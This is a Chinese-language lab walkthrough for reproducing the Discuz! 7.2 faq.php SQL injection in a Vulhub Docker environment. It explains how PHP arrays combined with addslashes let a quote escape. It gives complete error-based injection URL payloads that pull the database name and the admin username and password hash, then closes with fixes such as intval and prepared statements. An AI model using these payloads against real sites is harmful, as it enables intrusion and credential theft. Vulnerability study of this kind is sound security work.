Discuz! 7.2 faq.php SQL 注入深度复现手册 (转义逃逸篇)
本实验基于 Vulhub 的 Discuz! 7.2 环境。该漏洞展示了如何通过 PHP 数组特性绕过全局变量转义(addslashes)的高级技巧。
1. 漏洞环境搭建
根据你的本地目录结构,请执行以下命令来启动实验环境:
-
进入正确目录:
cd ~/Desktop/vulhub/discuz/wooyun-2010-080723
-
启动容器:
sudo docker-compose up -d
-
初始化安装:


- 访问
http://your-ip:8080/install。

- 按照提示完成 Discuz! 7.2 的安装。
- 在 Vulhub 的这个实验环境下,默认的配置如下:
- 数据库服务器 (Database Host) :填
db(不要填 localhost 或 127.0.0.1) - 数据库名 (Database Name) :填
discuz(或者你喜欢的名字,安装程序会自动创建) - 数据库用户名 (Database Username) :填
root - 数据库密码 (Database Password) :填
root
- 数据库服务器 (Database Host) :填

第一步:定位漏洞接口
访问 Discuz! 的帮助中心页面,目标参数为
action=grouppermission。- 测试地址 :
http://<your-ip>:8080/faq.php?action=grouppermission&gids[99]=%27 - 预期现象 :页面出现数据库报错信息,说明单引号已成功带入 SQL 语句。

逃逸组件:
gids[99]=%27- %27 :单引号
'的 URL 编码。经过 Discuz 转义后变成\'。 - 作用 :作为"引信"。利用反斜杠吞噬掉
implode自动生成的中间单引号,为后续 Payload 逃逸打开大门。
第二步:构造报错注入 Payload (验证漏洞)
利用
gids数组的两个元素进行拼接,触发单引号逃逸。我们使用报错注入来获取数据库名。-
Payload:
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(database(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 -
验证点 :观察报错信息中是否包含了数据库名称(如
discuz1)

第三步:提取管理员凭据 (获取数据)
通过修改
concat()内部的子查询,提取管理员表cdb_members中的用户名和密码。-
Payload:
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(username,0x3a,password)%20from%20cdb_members%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 -
结果 :页面将抛出错误,形如
Duplicate entry 'admin:4f0...1',其中冒号后即为加密后的 MD5 Hash。

攻击组件:
gids[100][0]=) and (select ... )#该部分是真正的攻击逻辑,利用了 MySQL 报错注入 (Error-based SQLi)。
组成部分 详细说明 ) 关键闭合。闭合原 SQL 语句中 IN (的左括号。and 逻辑连接词。将原查询与我们的恶意子查询连接。 select 1 from (...)a 报错注入的固定外壳。外层的 select配合内部的group by触发错误。count(*) 聚合函数。在 group by报错注入中是必须的。concat(..., floor(rand(0)*2))x 核心逻辑 。 concat将我们要提取的数据与一个随机序列(0 或 1)连接。x是该字段的别名。floor(rand(0)*2) 关键报错点 。产生一个确定的 0/1 序列。由于 rand(0)的随机性是可预测的,在 MySQL 建立临时表进行group by时,会因为主键计算重复而抛出Duplicate entry错误。(select concat(username, 0x3a, password) ...) 目标子查询 。这是我们要偷取的数据。 0x3a是冒号:的十六进制。group by x 触发报错的开关。没有 group by就不会产生主键冲突。# (%23) 注释掉原 SQL 语句中剩余的所有部分(尤其是最后那个多余的单引号和括号)。 实验结束后,为了节省系统资源,建议及时销毁容器。
停止并移除容器/网络(推荐):
sudo docker-compose down
2. 核心原理:转义字符的"吞噬"
这个漏洞的精妙之处在于利用"转义的反斜杠"去注销掉"程序自动生成的单引号"。
逻辑分析
Discuz! 的
faq.php有如下代码:$gids = implode("','", $gids); // 将数组元素用 ',' 连接 $query = $db->query("SELECT ... WHERE groupid IN ('$gids')");逃逸过程:
- 输入 :我们传入
gids[99]='。 - 全局转义 :Discuz! 的全局防御会将
'转义为\'。 - 数组拼接 :
implode函数在两个数组元素之间插入','。 - 最终 SQL 结构 :
WHERE groupid IN ('\'',' ,(Payload))#')- 关键点 :注意
\'后面的那个单引号。原本这个单引号是implode生成用来闭合第一个元素的,但现在它前面紧跟着一个被转义出来的反斜杠\。 - 结果 :在 SQL 解析时,
\'被当成了一个普通字符(单引号),而失去了闭合字符串的功能。 - 连锁反应 :导致 SQL 引擎认为第一个单引号(
groupid IN (后面那个)和第二个单引号(implode后面那个)才是一对。 - Payload 逃逸 :原本属于第二个元素的
Payload成功脱离了单引号的束缚,成为了 SQL 语句的一部分。
- 关键点 :注意
3.建议使用 Burp Suite
在复现该漏洞时,浏览器往往是最大的"干扰项":
- URL 自动转义 :部分浏览器会自动处理
%27或反斜杠,导致发送到服务器的字符与预期不符,使"单引号逃逸"失败。 - 二进制安全 :Burp Suite 的 Repeater 模块可以确保原始字符(Raw Data)被原样发送。
- 编码控制 :
- 在 Burp 中选中 Payload 部分,按
Ctrl+U进行 URL 编码。 - 确保数组下标(如
gids[100][0])中的方括号不需要被二次转义。
- 在 Burp 中选中 Payload 部分,按
4. 总结与修复方案
漏洞本质
这是一个典型的由于不安全的字符串拼接 与全局转义逻辑冲突 导致的漏洞。开发者认为
implode产生的结构是天然闭合的,却没意识到转义后的反斜杠具有"向前吞噬"单引号的能力防御方案
-
强制类型转换 (最简单有效): 对所有数组输入进行整数化处理:
$gids = array_map('intval', $_GET['gids']); -
弃用拼接,使用预编译 : 在现代 PHP 开发中,应始终使用
PDO或mysqli的预编译语句(Prepared Statements),将数据与指令彻底分离。 -
关闭报错回显 : 在
php.ini中设置display_errors = Off。虽然不能防止注入,但可以增加攻击者获取数据的难度(强制其使用盲注)。
- 访问